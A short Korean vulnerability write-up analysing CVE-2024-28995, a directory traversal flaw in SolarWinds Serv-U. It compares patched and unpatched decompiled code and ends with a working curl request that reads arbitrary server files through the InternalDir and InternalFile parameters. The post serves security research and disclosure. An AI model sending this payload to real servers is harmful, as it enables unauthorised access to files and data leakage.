[하루한줄] CVE-2024-28995: SolarWinds사 제품들의 Directory Traversal 취약점으로 인한 Information Leak
URL
Target
- Serv-U FTP Server 15.4
- Serv-U Gateway 15.4
- Serv-U MFT Server 15.4
Explain
취약점이 존재하는 버전인 15.4.2.126
과 핫픽스 버전인 15.4.2.157
의 Serv-U.dll
을 확인해보면 다음과 같이 코드에 체크하는 로직 하나가 추가된 것을 확인할 수 있습니다.
else
{
CSUString::MakeDirSeparator((CSUString *)&v35); // replace '/' characters with '\' character
if ( (unsigned int)sub_1801A6A18(&v35, L"\\..\\", 0LL) == -1 ) // CString::Find
CSUString::BuildLocalPath((CSUString *)&v35, qword_18046D5F8);
else
ATL::CSimpleStringT<wchar_t,1>::Empty(&v36);
}
먼저 경로를 받으면 /
를 \
로 바꾸고 \\..\\
가 존재하는 지 여부를 확인합니다. 이를 통해 Path Traversal 취약점이 존재했고 /
를 사용해야 한다는 것을 추측해볼 수 있습니다.
패치된 함수들이 사용되는 곳들을 확인해보면 아래와 같은 코드를 확인할 수 있습니다.
get_request_parameter((__int64)v51, (QAnimationDriver *)v55, (__int64)L"InternalDir");
get_request_parameter((__int64)v51, (QAnimationDriver *)&v42, (__int64)L"InternalFile");
v14 = vulnerable_path_traversal_function((CSUString *)&v36, v56, v43, a1);
InternalDir과 InternalFile 파라미터를 사용할 때 해당 함수를 사용하는 것을 확인할 수 있습니다.
지금까지 확인한 내용을 토대로 아래와 같이 페이로드를 구성하면 임의의 파일을 읽어올 수 있습니다.
curl -i -k --path-as-is http://192.168.86.68/?InternalDir=/../../../../ProgramData/RhinoSoft/Serv-U/^&InternalFile=Serv-U-StartupLog.txt
본 글은 CC BY-SA 4.0 라이선스로 배포됩니다. 공유 또는 변경 시 반드시 출처를 남겨주시기 바랍니다.